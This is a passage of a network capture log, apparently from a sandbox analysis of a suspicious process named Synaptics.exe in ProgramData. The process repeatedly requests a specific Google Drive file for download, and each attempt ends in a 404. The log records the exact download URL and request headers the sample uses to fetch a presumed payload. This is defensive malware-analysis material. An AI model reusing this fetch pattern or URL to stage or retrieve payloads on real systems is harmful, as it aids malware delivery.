2025-01-02 19:30:05 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.9	50096	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:05 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VU8fUrJKrYNV-3eWyVY-CA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.9	50099	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:05 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:05 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7jZa1BfZmaTC5U-tAJGwGlgQaWY8DergKbINa8kjWUJiXvE803Ugx1Od6ugeazz7aabIfXW5U Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:05 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-i1Bum3kP3wuV_e2eRmaSag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:05 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:05 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 50 7a 37 4e 35 33 5a 7a 6f 39 6c 56 4e 79 4f 75 57 56 31 6f 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="-Pz7N53Zzo9lVNyOuWV1ow">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:05 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.9	50115	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:06 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:06 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-U8yxiBJ4KY2ONv_DeBjABA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.9	50116	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:06 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:06 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce--j0ca2DqfonD6okOo7MSpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.9	50124	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:07 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-_LOsx8t-hGksMlmnISrZvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.9	50123	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:07 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:08 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6elcOMJZf7ETZffwtj9wZrkwrp9j_eOAAu8mNnfuBkDuuqPj8axttKT8N4_P6pK7Ir Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:07 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-OHCt6I374bH0sb6puiQDKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:08 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:08 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 54 4f 48 39 45 48 50 6c 4e 50 30 4d 67 61 43 67 6f 55 43 63 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="6TOH9EHPlNP0MgaCgoUCcw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:08 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.9	50125	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:07 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Pcdp4q-b4uXoUm0tK-KdhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.9	50126	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:07 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:08 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC59YiJkwpSSoN_DgMY1p74RRrKNpPG42CIsSGPx0q4uNd41PRYN11qDBuxgU7ZKbGyCxjztYQw Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:07 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GTHoLr2DcQnulqwmmfWh8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:08 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:08 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 5f 44 64 4b 6a 61 6e 6f 4a 47 6a 54 45 2d 30 46 56 6d 67 4d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="F_DdKjanoJGjTE-0FVmgMA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:08 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.9	50133	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:08 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
